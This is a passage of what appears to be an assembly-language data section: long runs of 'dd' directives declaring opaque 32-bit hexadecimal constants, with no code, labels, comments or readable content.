0A9604E60h, 2FD842h, 0EF34E57Bh dd 0F5739EC2h, 84BB3A2Eh, 233C1E00h, 0F661DB68h, 0C5160053h dd 31FCC1A8h, 7300555Ah, 0BD74CFD3h, 819C15h, 0E47891ACh dd 9737D4DAh, 0A76A6F00h, 509EF2E9h, 0C0A50048h, 9224E0D9h dd 5D00B3BBh, 49080636h, 0D0AAEh, 0FA26020Fh, 65A4BD45h dd 99EA6900h, 0E65E3D17h, 0E5A7EC5h, 571B91B7h, 31CDDA60h dd 1F047EC3h, 0DB477DCCh, 0FA41C80h, 88071887h, 4F9010DCh dd 5EF57102h, 403839FCh, 7D10220h, 5695B99Dh, 736A4399h dd 32391800h, 345AC8Bh, 872C005Dh, 0A97998DFh, 577867F9h dd 6246FB0Fh, 0E4DB40BDh, 10CB6683h, 79BF1D2h, 144AC7C6h dd 6367DFF0h, 4120392h, 702D2377h, 9EA0D001h, 96C63A59h dd 0D2820h, 8CD8AF21h, 0CA10D7D9h, 8EA6A803h, 80D1FB08h dd 5F39DDh, 30F338B9h, 70B84888h, 2BCBEB00h, 0B2AA289Eh dd 0A4C90145h, 7A919D31h, 0E132D03Ch, 27203000h, 5F7C07A6h dd 6BE2FDh, 4C6AB577h, 44FB621Bh, 6FBD6300h, 0AB09BF37h dd 745CF0BEh, 0F37F55h, 6E601B01h, 0C94C1D3Ah, 91EAB9EAh dd 0AEDA8617h, 0D7A8871Eh, 0D0612C00h, 1615BBDDh, 5FC7BCEh dd 53E4B9BCh, 4CA405D5h, 0DFA7C1C3h, 8118202Dh, 8BF1E700h dd 2C85C497h, 9DED0711h, 40BF7E27h, 0B0691231h, 0B51A2516h dd 5591AD01h, 0FCC8A2F1h, 0F490FB4h, 6820A5B1h, 25F86EA0h dd 0DC7BB00h, 0A84F89AFh, 7AF0E4D4h, 0DB93005Fh, 41E7B37Eh dd 143A8D82h, 3FD8F8h, 0D09A625Ch, 3B6C8F5Dh, 4E83A223h dd 0EA850C47h, 0E292E3B8h, 0D197070Fh, 6F3420A4h, 4C5582B9h dd 951C34C6h, 69F84268h, 9D60FB66h, 4500889Fh, 7109C054h dd 0D28242h, 0F1875C1Fh, 10BF33Dh, 4C80850Eh, 0F2D86047h dd 13C18F19h, 12C608Ah, 1F454413h, 9B609FC2h, 3D157200h dd 3AAAC355h, 960059FFh, 0F1CEC85Ah, 0E0F39104h, 30DEBAFBh dd 8710E918h, 0B9CB4038h, 0EBE85A00h, 0D4554E5Eh, 626B0028h dd 78AAA0EDh, 3D002296h, 0A4E58C7Fh, 2A9B058h, 8A79D5FFh dd 0B401199h, 7207A6F3h, 6DE87544h, 0B5CE940h, 6994396Bh dd 0F25B9E00h, 0CFDED301h, 0A765C51Eh, 0ED2B8C40h, 53F5018h dd 605F27B3h, 732020DCh, 0C500581Bh, 956CFFC9h, 8041AEh dd 0A465189Eh, 0F5162B74h, 0A0E40600h, 14819475h, 717089h dd 43E75518h, 8E8F7CB7h, 0F11D6E00h, 3C6B345Dh, 0CE0600FEh dd 54995AC6h, 980072AFh, 188CA048h, 0F2C3A386h, 102A0047h dd 8F7079F0h, 48071388h, 0F556786Ch, 0C028D9F2h, 0EADB66h dd 84218BC6h, 0D2CF9D76h, 0A3765FEAh, 238E4D16h, 87320600h dd 17FDBE29h, 800CD32Eh, 65307770h, 4D0080FEh, 7E8B4BDFh dd 95BDB0h, 4B82041h, 8F0F6F88h, 88553528h, 0AAA3B418h dd 3208AE8h, 42F3541Fh, 0C9C3AE33h, 4037FEE1h, 17764890h dd 197C4E3Eh, 0F9292454h, 7A018EEDh, 0A09C1035h, 0F850C493h dd 0EA924220h, 2160587h, 9566D114h, 6CBBEC00h, 17874F3h dd 96B2D317h, 0ECE1D8B3h, 0DB00F676h, 0CE3F6DE6h, 0FA7D9468h dd 7764002Eh, 0AF6F1D51h, 0D61C90A4h, 1F3AF7E3h, 0D00029F1h dd 0DC8D7626h, 22850250h, 0A2E48165h, 0E9B27760h, 0F6F8EEB8h dd 2B7ADA90h, 788E5000h, 4A09A6B4h, 0F2DF1C74h, 26EEC061h dd 59D60C49h, 0E0003CF0h, 0AED38FEAh, 9E3E6Eh, 0FC390B5h dd 30A38ECEh, 851A4B07h, 4E103869h, 7F94FEh, 87E22B14h dd 1EDBFCFDh, 6C482AE2h, 186B0048h, 0FF2C4BD1h, 70130EF6h dd 25858526h, 307687D9h, 985CC205h, 58155900h, 5E0F87B5h dd 824F00CBh, 7C4B9AFBh, 3B00B453h, 0B5D86508h, 6D31ECh dd 0F71FE2BBh, 0FFF61EDDh, 82707660h, 6DC4EB0h, 0D10A675Fh dd 880018F2h, 0D4B9A319h, 0CC4F83h, 8EFEE2EEh, 68C7FB97h dd 938C7000h, 7E5044FAh, 2409008Fh, 0DAD6C8CDh, 2F30C964h dd 0D12DA08Ah, 98D23ECAh, 0EA3F007Dh, 8DD790C1h, 0B900B59Dh dd 0C0D9F34h, 1D243219h, 8054EDAEh, 9B0679F6h, 2738D8ABh dd 0B78D00B9h, 65CD2510h, 730E078Ah, 30756C0Bh, 0DD196E23h dd 18BB2100h, 2C2F098Bh, 0CD6200EEh, 0AB81407h, 0BE02F2B2h dd 11C170ADh, 97004141h, 1F8F05E8h, 0C7E99E22h, 0F7ED5671h dd 57F7D720h, 0BB4810C6h, 5C0064FDh, 0F199B878h, 785E0BFh dd 47D7081Fh, 0A8F5D0F2h, 7B001007h, 0A95EDEA1h, 70F60Ch dd 0F396A438h, 2BDD8E64h, 48973Ah, 122199A3h, 0A6CB92h dd 138BB82Fh, 83683377h, 415F6000h, 0A811176Dh, 27B379BCh dd 20FC61D7h, 543AFD0Fh, 0CDF600D5h, 5995CA04h, 0E4AC4C79h dd 0E11D1600h, 927E4AFFh, 0B8ADEB00h, 0D57A32DAh, 23B300E5h dd 0CA69136Fh, 6D00B4CEh, 4EE0F74h, 1CF17B18h, 404A98EFh dd 317624B8h, 0DCE5999Fh, 8500C1A4h, 68420FB5h, 239DE2h dd 0BD3E4C53h, 72050ACDh dd 94DAD500h, 5C1BA5B4h, 0DFEAE2h, 0AFE6FD54h, 1AF61D2Eh dd 0D638BF7Ah, 173800ACh, 0C2912D96h, 0AA750050h, 30827C5Fh dd 82B83FDEh, 101A6B03h, 907FA4E4h, 9B8A16h, 81CEA3BDh dd 4C22D976h, 0BA067A03h, 0EF11F364h, 4FA485A1h, 6B7660h dd 33B52F9Eh, 0E586027Eh, 3E09707Ah, 0EF07D2h, 511CF218h dd 2C7F90h, 0A0294627h, 0C21363F9h, 0DD720D00h, 14D2C0DCh dd 6676004Dh, 6D01EEB5h, 0FE02CA52h, 87493C2Bh, 0D2D84317h dd 94441Bh, 0EE19C4C3h, 982C9F10h, 2FDE3E00h, 8D6BD905h dd 0E17E014Fh, 688314D1h, 0CB9C20EFh, 8525D00Ch, 0FCEA1161h dd 47730091h, 0FE3F3843h, 2F03EE04h, 158AFADh, 7497E0ECh dd 0A3BC0092h, 5730524Bh, 6D1EB70Bh, 0AF49F808h, 60640E69h dd 0F24FB9F5h, 9D1E0196h, 3974D595h, 4A6CD005h, 0A1B3D100h dd 22CAB81Dh, 0CDC30ED0h, 2960ADF0h, 70E31366h, 9F44C616h dd 5CE203AAh, 0CEB876BBh, 290F7B8Dh, 238E1FDFh, 80A4A643h dd 0F690AF53h, 0A8265F34h, 5F3A0958h, 74D4005Ch, 0C9D90Dh dd 16117A0h, 84CF6D07h, 554B6600h, 1656B4B1h, 1CB6763Ah dd 0C02BA01Bh, 8822E413h, 97000B21h, 0FB38A910h, 4F4603h dd 3CEE9ABDh, 8A1480A0h, 5A338D00h, 0D66C8EA9h, 9E7984h dd 5F266F27h, 0DAA835EAh, 0D0700B00h, 3C64E49h, 1A5500CCh dd 0B320C141h, 0B91FCE1Fh, 0E0300C92h, 8C06A9h, 470A33FDh dd 0F7A0F288h, 0D668C900h, 0FC6044E7h, 7B0C7026h, 9904006Fh dd 0DEBF2C82h, 0DC005DCEh, 689A1552h, 0EBF1B3h, 90A023Bh dd 0A0D4C4C8h, 0F610E200h, 1E3697Dh, 87170F46h, 0AAC0E14Ch dd 4F9E1C09h, 6E76D100h, 0AD0A7BDAh, 3687000Eh, 92FFCA64h dd 3A01A416h, 0BE8C3E2Eh, 51D0EEAEh, 77E05Eh, 3B468AE9h dd 0AB78FA10h, 5D096800h, 6FE32F9Ah, 96AD03E4h, 50FFAE21h dd 512AD1C0h, 8488C00h, 7BE7B213h, 382900F0h, 0BCDC8191h dd 3A002AEFh, 0DA854C7Fh, 0E5430DDh, 0D059E31Ah, 1C8DC4E3h dd 4E4883B0h, 6195521Ch, 0F8C587DFh, 0B1C19CFEh, 0B1F8DEE0h dd 0CD2B0009h, 2887DB5Eh, 0FE003A34h, 529243FDh, 9DF64Ah dd 2D105B6Fh, 0D3BD1456h, 7BB37C00h, 15A4E883h, 38B79FBh dd 87E5BA8Eh, 880C5C8h, 0FF0475D0h, 9F2BB826h, 0BFC27C80h dd 0FD97016Bh, 0F62C5713h, 85B48094h, 0D1699045h, 0E29D0012h dd 1E836D59h, 0DD000C3Ah, 0A993E6E7h, 44B66Bh, 34D2DCF3h dd 33251DCAh, 0D9ED5906h, 48779Dh, 0F49AD7ABh, 0B507F5Bh dd 6923800h, 3A0DBFF5h, 0B90800C2h, 46085E5h, 0A8B28ABAh dd 547C0607h, 53508B16h, 17381B72h, 151CFEh, 0A52A6DFh dd 0C100EE67h, 75F1094Eh, 77AAC8Bh, 5F79221Fh, 6807008Ch dd 800648C9h, 0B3B56E88h, 66A60090h, 0BA295E2h, 81000F08h dd 260CB951h, 3C90488h, 0EE153F2Ah, 0F290CB7Dh, 0C800FB2Fh dd 61131F46h, 79A01005h, 1C2901D1h, 57B3D571h, 95A4C449h dd 9CE0E207h, 0FDB017B9h, 74C339h, 0ABB4608Bh, 0CC670373h dd 1FB5680Fh, 27FA005Fh, 14CBDDEDh, 9C8C1C40h, 1DB5B824h dd 0FC1485DAh, 269E80B6h, 8B0160BEh, 76D3117Fh, 9EFC5161h dd 841600FBh, 0BBF9C5B9h, 0A7124DC9h, 0F1DED2Dh, 59C6786h dd 0B4950EE0h, 0BE20217Bh, 9BD7D585h, 6EACD000h, 7B2C490h dd 5FFA0520h, 0C32AAF31h, 0A8C8C846h, 0DB00ED52h, 0F07EF2B8h dd 39B5A1h, 564A1A50h, 84C8B78Ah, 5F12F8C1h, 9C70D203h dd 2C6D1C8Dh, 53F86B8h, 7F2620B3h, 34033427h, 936494C2h dd 0D8F2D062h, 2C20C083h, 0F86A7103h, 4DFCD100h, 86A1A98Fh dd 0CEF500D0h, 0A5DD0145h, 9E006EECh, 0E2E5295h, 0B72D8Bh dd 51DF5BCCh, 3A8934D5h, 5E9CF300h, 114DEDFEh, 19153C2Bh dd 68F0C798h, 3000798Eh, 0AF7445D4h, 0CEB1A42h, 0F2062CA6h dd 8E02E420h, 1C2E7940h, 0A04FC335h, 3CCBEB68h, 0FC8785B4h dd 1065C6E0h, 83F65402h, 0A1273Ah, 9E9E69Ch, 0ECB2E855h dd 0B83A0017h, 0CC9DD24Eh, 4207A3D0h, 49A81331h, 1F270FDBh dd 0C788B40h, 1F8ADDFAh, 571868AAh, 1FD02085h, 54B0B437h dd 65E91200h, 0CCE3A45Fh, 687E07B1h, 37BF7CF9h, 2F8C70C1h dd 0E90082FAh, 0B0BB7166h, 708BEB7Fh, 85B701BDh, 0BA3210F2h dd 0FDE840DBh, 5D3947F1h, 35C200A8h, 6E72D406h, 0FC6700F6h dd 3DC5EEA5h, 0DD0075CCh, 87386AB7h, 5B5CBAh, 6E24239h dd 2902553Bh, 0B9072CE0h, 0BBAFDC0Fh, 0D31867F0h, 21A20E9Bh dd 8A80BC6Bh, 0F812CB4h, 619F3601h, 0C1C3096Ah, 5315D0h dd 647AE1D4h, 972DF6C2h, 0A2871100h, 3AB12391h, 80B50719h dd 0A047D86Ah, 0C6A02DAAh, 1F2C3675h, 0BC1E1D76h, 0B1D17800h dd 1FF21F3h, 5CDC09FBh, 0F8459D04h, 0D6714F82h, 0F8963400h dd 0C2B3635Ah, 0FA2600A6h, 66CF83AEh, 8D168C5Dh, 36001D68h dd 2A87C8B6h, 463A6007h, 0DCFAEA63h, 19EB3D00h, 0A6C7B562h dd 80540013h, 0F2C87AEFh, 0B1FA1670h, 6E53D81Dh, 634E7B00h dd 0E5BE1F7h, 0C3ED21AAh, 6F9044E3h, 2D193100h, 32D4C287h dd 3D88003Ah, 0C05E5D62h, 8000435Ch, 1B9C11E3h, 0F99D5Bh dd 0E5718DA5h, 5DB45054h, 2875E7FAh, 22AF6200h, 0B6D9BB0Eh dd 13000A6h, 0CA7926F6h, 88003893h, 1F3BD29Ch, 0C04C2A5Bh dd 636CA498h, 0F40037D3h, 5FB57D70h, 1284009h, 75020A44h dd 0BC563833h, 0D08B8550h, 0E3001AFEh, 0BDF9942h, 66F70972h dd 0DE804581h, 9718F8DDh, 704F4B00h, 0E560CCA1h, 4376DF04h dd 6D32501Bh, 0E81D3698h, 780B7C31h, 48201124h, 4838D499h dd 0AEEE7B03h, 6A06D8Ah, 760235AFh, 7F9266A9h, 43CE04Eh dd 8EE3125Fh, 0E1FD00D3h, 0BC556DBDh, 0C7BF3700h, 7A065403h dd 0F4B00704h, 105EE764h, 7C7B8E1Ah, 0CB1CA200h, 0C6EA8513h dd 0E27102C9h, 0D9589D27h, 3B2BEC40h, 117E5B00h, 7F2A1B79h dd 495D00B0h, 0DBBC58ADh, 82139857h, 801C7CB8h, 5584833Ch dd 80078E9Fh, 3351E9h, 79569919h, 381028E0h, 0F4F9D300h dd 0E7F8FC1Dh, 55A20E82h, 4660174Fh, 0ED537AA0h, 7BA2E348h dd 96503700h, 38A77E81h, 322F0007h, 308DEF77h, 5301CD09h dd 178535ADh, 3F0DB96h, 696239FFh, 0ECCCC880h, 7A5BEDA8h dd 39241672h, 4E000DE3h, 2FC731C5h, 6A790027h, 447003B2h dd 0BB009543h, 81C42C4h, 0E9C3CF8h, 472BEEABh, 0F2F8FE9Eh dd 0D0B60F29h, 5D23F054h, 0E8750E7h, 6ADD3580h, 7C0189E5h dd 439B8CA5h, 0D7DE67FFh, 14349540h, 0F38DE800h, 0AD5F0D95h dd 0E571E4h, 0DFDA7772h, 0C2C8272Bh, 1DB54B00h, 8FE47B17h dd 0E8310EABh, 2B63A526h, 0A3FFA0B0h, 403A12F3h, 50340058h dd 934AEE3Dh, 7ED7DE3h, 0FDEC10A3h, 2C37B3F5h, 30187FB1h dd 5100272Eh, 6560C93Fh, 0D1FBB4h, 0E86FEAD3h, 755E1633h dd 0F1B15B8h, 0A8600113h, 1DCFD972h, 76E0618h, 8053E830h dd 0D722BC99h, 1100F573h, 4382E0CDh, 0EBA9ADh, 45EE4ACh dd 24B1C674h, 0C2F64700h, 95F5893Eh, 0F7070031h, 9222BD23h dd 0AA00C0F3h, 0B6CB2B25h, 0EE6E0Dh, 0EBF75B5Fh, 0E291A908h dd 104A6D06h, 196329h, 27DA4995h, 1B08D556h, 0F326A8C0h dd 9F132h, 0E8ACC612h, 0A1CA80D8h, 0C4331400h, 4082455h dd 5B4A0094h, 99D87AA3h, 8F00733Dh, 0E8B9A940h, 271BE5h dd 418C0D2Dh, 30969AE3h, 0E2995Ch, 0AEC42262h, 5680637h dd 4BF829B4h, 0A822C12Ah dd 0EAF85881h, 4444B340h, 0A3004513h, 34561CE5h, 0B03B03h dd 2F7FEA9Bh, 9CF1C1E0h, 37125900h, 0E9FA898Ch, 0C8A100E8h dd 10469723h, 84000FB1h, 0EBD0BAEEh, 0D91938h, 0C9DF2DBBh dd 0CC93715Ch, 110A0C0Ah, 35078244h, 60897994h, 0FE14845h dd 0F37CB1D6h, 86ED07BEh, 7811D0AEh, 3C3E0B33h, 10E8093h dd 88739BE9h, 0A2E04851h, 0C89C0907h, 3A8329D4h, 70D7C9FDh dd 0EF2728F8h, 39EAFE38h, 0F7D880A0h, 55C6D7C1h, 9335001Eh dd 5363406Eh, 0FF019F78h, 3D772CD9h, 0AEC1F4E1h, 176C4E0h dd 6E9B4013h, 0D73A732Bh, 948A8CE0h, 989DFB00h, 0C0E0416Fh dd 5A340129h, 0D92440B3h, 0B4618E03h, 0EF9253h, 2CC5A7CDh dd 0B200BCFDh, 441FADC7h, 3D906B9h, 0E27BDEFEh, 107EBA82h dd 0A5668710h, 0C20FBE80h, 0EF008189h, 0E1422BB5h, 76C1B2B6h dd 8D750E0Dh, 63C0A844h, 461B94EBh, 763AFD00h, 0DE54C3E1h dd 71BB024Ch, 16A6ACA3h, 32AB4160h, 932DD300h, 7EF8A8DAh dd 895A3F6Fh, 69006F4Ch, 0C2241535h, 7209501Eh, 73EF5E9h dd 0D8BC293Ch, 42813E87h, 0D5256900h, 3FF98F09h, 0F3E76B0Ah dd 0CD20A4A4h, 27B5C702h, 0E0AF514Fh, 0FA10C3h, 5F2A77B1h dd 5C99FEA6h, 9B0059E8h, 8D25DBEDh, 571A4Ch, 0EC7D7168h dd 4F9C795Eh, 3F561F00h, 0F3D51250h, 0DCD8E9D3h, 3CC70FD2h dd 0C280D767h, 0C180F50Eh, 25EB3A00h, 1BB0C88Ch, 96590073h dd 0E8C414CBh, 3F07BF8Fh, 0BA801686h, 0F1C51E40h, 77300D3h dd 83D22BE4h, 0BF006AA9h, 70DCF312h, 84B66Dh, 0D99894C6h dd 69A1B22Eh, 6BE3C000h, 0DD3B1477h, 8BFC009Fh, 0C5E2CF90h dd 86070AF8h, 1D5DD219h, 0A6CBF520h, 18A400A0h, 0EC2D055Fh dd 0EA4CE07Bh, 7E2F00AAh, 0F879E3EEh, 5E2B00E6h, 8765C498h dd 561CE067h, 83402DD0h, 3416C077h, 28FCD3h, 55CA31ACh dd 0FEA8FAE1h, 76F89A67h, 0C6D28CE0h, 0D3900285h, 0ED0FCD4h dd 839716C1h, 5BCBA310h, 3D74D0A9h, 11DE4ABh, 65E8F686h dd 7059E666h, 0ED07B018h, 288F6C23h, 0E4E77050h, 4C20004Bh dd 568B4332h, 0BF1D0296h, 0F7EA0D4h, 87EB516Bh, 0D1402805h dd 90F424ABh, 8599000Dh, 0ECE9EE2Eh, 3B009E55h, 0FC00DB3h dd 1F3ECD6Dh, 0C033B0F1h, 365572FDh, 19F25134h, 0DD5B4501h dd 54A0C409h, 35056E8h, 6CF385E5h, 0C3F794B1h, 45C8C2AAh dd 4200EE81h, 676BE2B8h, 18A03C5h, 1FEF62CEh, 0ECD4FC19h dd 0B00A97Bh, 0FD3A75B1h, 904EB580h, 7C210059h, 0DAD9AFB9h dd 0F800837Fh, 0A070481Ah, 6C74F4h, 60985A11h, 0B168FE19h dd 8B00F97Bh, 5F594857h, 926DF66h, 8AE5EC83h, 53ABB980h dd 9D00AD9Bh, 882DF7C2h, 3F1106Dh, 70D53C9Fh, 33E0CB6Bh dd 4760C10Eh, 0D644FAD0h, 1A2E00CFh, 0D2612578h, 8700CEA9h dd 56EB1C43h, 21F722h, 74420F75h, 6B41E812h, 1EECAD00h dd 6E8FA87Ch, 88B900DAh, 0CD7237DBh, 0FE00F361h, 77D27A18h dd 0E280F2h, 24D40394h, 2B9AC2A3h, 30237D00h, 0C7C1A6E7h dd 3CAD006Dh, 8072FF20h, 0BC0041EAh, 56F30AA9h, 0B7D30Dh dd 1CDF7329h, 8B0B826Ah, 1D0078FEh, 754BB92Ch, 0F2E01516h dd 12AB02EEh, 8C6B3008h, 0DEC654E0h, 57BE1A00h, 0A93AB027h dd 9AEE1888h, 0B65A43Fh, 2A10981Ch, 76663280h, 0EAC5AE7h dd 81AF034Eh, 0F4C8B340h, 3274C7F8h, 63F06B00h, 99A6BCA9h dd 0EFD300F5h, 5DBF1F90h, 2F01CC01h, 4E42FCFFh, 0C20E46Eh dd 0B5FB1D5Fh, 75783049h, 0E31D7DD6h, 0BC0189CAh, 0A8F518CBh dd 51911040h, 110B0EE4h, 31C2158Ch, 0FBC36993h, 7978B87Eh dd 0CB071200h, 1DE83472h, 0FD8B1ED1h, 0B7E68754h, 0B0C19F2Bh dd 403E06BDh, 0C705EE08h, 93F40D1Fh, 98F5780Ch, 0F36876ADh dd 7DF019ECh, 202E03CCh, 41DD6D15h, 3E99000h, 0D66FC432h dd 0E7680047h, 0B87DE1C8h, 0F5283CCBh, 93185C54h, 5DF1DD1Dh dd 3A567A89h, 0C50A81B6h, 16144BF4h, 472C02ABh, 17C0CF38h dd 0B503CABFh, 81BBADA4h, 82F0E7E5h, 71FF12h, 2396C3D8h dd 802BB010h, 616FCB00h, 4BB1068Fh, 82FD03FBh, 532994EEh dd 981ECC80h, 9BBAEA01h, 3116E726h, 0D8D70480h, 51E13B05h dd 83FE9576h, 0A88AAB24h, 0E7C09E1Dh, 48638237h, 0DAB34826h dd 7700DD39h, 0F83D7DB5h, 0B07435Bh, 9EE4AFF2h, 8035FE91h dd 61F04F20h, 2388F094h, 2252FC6Dh, 8665CB01h, 872C8F03h dd 780D0h, 0A2DC173Fh, 260B5788h, 480AE076h, 0B4D1F05Fh dd 7D7F9B80h, 30A12Dh, 0CBAD1A75h, 50468ABFh, 9A8D5A00h dd 697FC70Fh, 0DC2C0FACh, 430FE532h, 0F7A4D400h, 47336F1h dd 6D05ADE4h, 5DDEB431h, 0EC7FB800h, 98BF22h, 2770D928h dd 0A475198Fh, 0EBC19D0Fh, 0CED2E0DAh, 7329Bh, 316152A2h dd 0E4A67F69h, 48950803h, 0A8B0E529h, 4DB6D27Bh, 40078EFh dd 5BFA1FA2h, 47307768h, 0F2BF7058h, 82390096h, 0F42EDC05h dd 690CE366h, 50DA146Ah, 62A902B7h, 42B25699h, 5B3900DDh dd 5E6AD8h, 37CF259Fh, 0D969DFA3h, 30B74D00h, 4CAE75DDh dd 0C7BF872h, 0C248D685h, 80000818h, 0EC20EE51h, 7A2180Fh dd 6F72536Ah, 61B6C0FDh, 9177513h, 0D507176Eh, 0C70C46Ch dd 0C8E569h, 4C02C97Bh, 0E2750BAh, 8646183Fh, 0C505DCDFh dd 62048560h, 188874ACh, 2550D704h, 55F00069h, 0D570AFDEh dd 9D000FD7h, 4091999Fh, 0A52583h, 3A8C808Fh, 5CF13AAh dd 0F7087900h, 0FEE4F547h, 32F6000Dh, 0BF99B0DDh, 0D4075021h dd 0CD55C5EAh, 596AE5E1h, 0FCB14760h, 56DD1283h, 3A301D4h dd 4EFDAB12h, 72A60820h, 83D96112h, 0A1E0E3F5h, 509E475h dd 2EB6F0F4h, 2BBD2030h, 1E323A0Eh, 0E2D2E98h, 119860DBh dd 0FD00BAA0h, 97374B44h, 17E7B4F6h, 5E039BBh, 804512A0h dd 0BE0E17CFh, 0E297F903h, 0A2150F18h, 9C848059h, 3D4C5CBDh dd 2D8C37E0h, 5589995Ah, 7930E7EAh, 0BAAA28B5h, 687F6829h dd 17C740B4h, 23001A36h, 9D8A1483h, 0A885BABh, 92CD0787h dd 0BBD10D30h, 1B08238h, 8A0B1B6h, 8AEE4020h, 0CB218D66h dd 18A450EFh, 0C10FD647h, 0CBA25CD3h, 213E9925h, 0C04C0E78h dd 0C67104CAh, 7806C259h, 8441DF7Ch, 904FA99Fh, 0D79B3B28h dd 40E648h, 18794D56h, 5B4CF0Ch, 9669017Ah, 0C2DA0308h dd 0DCE33EF4h, 57310FB0h, 6C03D476h, 7A4A99B2h, 20AAC752h dd 0DA3FFABDh, 2D229176h, 76214EF2h, 98304965h, 811091A7h dd 50359C13h, 0D403CEB5h, 0A245E496h, 10841476h, 0C1035B85h dd 48B94773h, 98100E20h, 0E5A9346Eh, 8C000E0Dh, 0E9DC499Bh dd 0A24630E7h, 10670A86h, 0A0002084h, 21174FF6h, 3EE7EAC4h dd 0C2C36510h, 3B40FA5Ah, 1A7B8002h, 3EE3CBC2h, 28853A7Ch dd 7D2904B0h, 7CE33139h, 203D565Ah, 5C9C3000h, 0E2ACFE06h dd 0BA8A40ADh, 0AD532036h, 0E01573C7h, 0A7EE206Dh, 1F622EE0h dd 0C5948060h, 984131AFh, 0F7DD0354h, 0AAC8B9Bh, 52AEEDC0h dd 46260301h, 274F7705h, 12EA2C20h, 3FFC54Dh, 0CBC66A44h dd 768ECAC0h, 420E456h, 5E3E5C1h, 8FB6102Ah, 8060B4E0h dd 0E4389A23h, 11073CB2h, 0B89EB702h, 3BAE3AD7h, 9A593F21h dd 3A71804Bh, 0FD0885AEh, 82F96B31h, 0B340600Bh, 0AF93C996h dd 208E1440h, 889FBDB0h, 0E1054223h, 0B75A12Ah, 0F3FE6B05h dd 1640789Ch, 21B641C1h, 2882107Bh, 94965831h, 2A02A866h dd 5B4C5F8Ah, 0B8131556h dd 4082E82Dh, 8419E575h, 0BC4408C5h, 9F28302Dh, 0F660B808h dd 1B70F899h, 94390085h, 4F674AD3h, 3BADC0C4h, 4C230468h dd 8AF180E0h, 0F5C28E9h, 740A40AFh, 0C0516019h, 0AF0A0720h dd 0B0881020h, 7FC1D3BEh, 6280A51Fh, 68C418CCh, 2333B111h dd 0E03E7608h, 47A7750h, 0D2896FB0h, 23027C31h, 40B053DFh dd 421328D1h, 0DD52A19Eh, 592B020Eh, 3E072D03h, 0F5C0B643h dd 320DCEF3h, 600A948Fh, 1DECDEB0h, 88400657h, 61A278A6h dd 30A75411h, 2096BAF2h, 0B61190E8h, 7EF231F9h, 228CB020h dd 528C710h, 2C30CB76h, 0C804E2ECh, 0E357586Bh, 0F058AB7Ch dd 4CC0A4ECh, 2374D86Bh, 0A7E2DD09h, 53B310F0h, 269D4B40h dd 0E048F286h, 0D0BE0F36h, 0F2C90547h, 70056896h, 0FB8F29AEh dd 0B2208E11h, 0AF0A1EFEh, 40E95221h, 8833DAF1h, 0E8CA76C8h dd 0E6EA1B01h, 131F86DEh, 8381428h, 0C6AE1369h, 26A82A5Eh dd 25782894h, 2AC0D204h, 1B6C1408h, 0E72FA020h, 87F423E1h dd 141A20E2h, 288AF202h, 15827DF9h, 70152408h, 0F77A80Ah dd 0F81460AFh, 945CB080h, 1BFB10FDh, 0A5B0A82Ah, 0EE3D8220h dd 10152CDBh, 0D024B1FCh, 72864CFCh, 0B4968FECh, 1542683Ch dd 20CD34DBh, 3F16C8E2h, 2475D7BBh, 54200DC4h, 5848C93Ch dd 5ACDB0C8h, 205EE35Dh, 0D61A0C08h, 2B89CA58h, 0C560E425h dd 508CFC0h, 5F06DF68h, 0AEC44078h, 0D3C20220h, 0CB820D7Bh dd 1812E095h, 9DE0603Dh, 202D57EAh, 896F48Bh, 8C90C0C0h dd 8FC53867h, 0B0200894h, 0B1874DB1h, 534C58E8h, 0C080E052h dd 0FA47BF1Fh, 1C908F86h, 550A40B6h, 40CAE042h, 0A51B50F0h dd 5C5B0220h, 40BCFB7Eh, 0B19D420h, 4FADAF7Bh, 8DDD3480h dd 253E80C4h, 0E62B033Eh, 5B31187h, 0D2150E38h, 7628074Ah dd 0C817843h, 0AD2B7D74h, 0A8C5D0h, 30C29E25h, 0E7994813h dd 841CD54Fh, 0B914E026h, 4F361028h, 7C88130Ah, 683E4420h dd 0F4964095h, 6BB90518h, 372E76F8h, 0C3594943h, 317C0415h dd 1FAD2F22h, 205485FDh, 7B9D5817h, 0AE11C046h, 0C1C00E78h dd 79414BEBh, 8C323DB6h, 90B44F38h, 693300C5h, 55F76292h dd 45FA4974h, 0B300D27Bh, 4C16A0AEh, 0EAACB176h, 4A0509B2h dd 0E481CF3Dh, 875C5481h, 290DDDD0h, 2E1A508Ch, 0FCE73Ch dd 53BC76B9h, 0B700AE50h, 56D93129h, 2AB1ABD4h, 3C8C3DCh dd 6AE6F613h, 14A84CD7h, 5A3E16D4h, 38DC21h, 2D5B93DEh dd 3C320758h, 750047DDh, 8F169EF1h, 0EA0FA4D7h, 9E0E55Ch dd 30A0E015h, 0E387FBFh, 7E02AA24h, 4F589C03h, 0E8CF41F8h dd 0EA798803h, 0D887C764h, 0EC35D37Ch, 0F1FA0092h, 2BE497F8h dd 5400E8C2h, 9CEBEFB8h, 1443B8Ch, 79FA4C42h, 0E005AE27h dd 8500D555h, 0B888087Bh, 0F3FE64Eh, 0D6C9C40Ah, 0C31B5780h dd 541FACBAh, 0BFC71A4Dh, 552065C1h, 2F8BB8h, 9551E0ECh dd 58DB216Ch, 60A1613Eh, 0E6C0B330h, 64A00F3Ah, 1818559Bh dd 740F63D7h, 5BB99D0h, 18001B7Bh, 39DCFB3Eh, 0E7801841h dd 0FAD4A068h, 2E388C1h, 0A09B86B8h, 0B99B78E0h, 24BB3800h dd 0A17765FFh, 78AD675Eh, 0D26A96EBh, 73FB9200h, 0AFC5CC9Ah dd 4D5B0A85h, 57A803B4h, 0BEE5B080h, 189B990Fh, 819140D0h dd 22305004h, 39C8F915h, 8B18C0CDh, 0B6347BA3h, 0ACC7C8CAh dd 0F231E280h, 0E2E0BD33h, 0A3A81E84h, 34888243h, 8081DC37h dd 40B538DFh, 70D35270h, 58F66206h, 1E191978h, 0C1AE4E42h dd 569CBDD9h, 8F80110Dh, 0E78B398Ah, 0B80500E0h, 9B98C2EAh dd 87FF9A18h, 28D6B488h, 0F6507F35h, 8C6400C5h, 91EDC37Bh dd 72289FF1h, 0E3001020h, 0B34DAD50h, 0A83AE488h, 0EF2CDC8h dd 7940CC9Dh, 0FCF60597h, 0A3D4098Ch, 0A1040C10h, 708FD62Ah dd 1C207B0Ah, 8900C85Ah, 585F7C6Eh, 0B0B804EDh, 0BF800F2Bh dd 7F4D2400h, 60E039C9h, 309A38D1h, 72399DC2h, 0D9B28313h dd 837F4Fh, 33865268h, 0BC148F63h, 1F4BF940h, 1506C842h dd 2B0E884Eh, 51E31DBDh, 80789708h, 0F4833928h, 6AA28B04h dd 248891EBh, 2DB200FEh, 2A638736h, 0B007F0Eh, 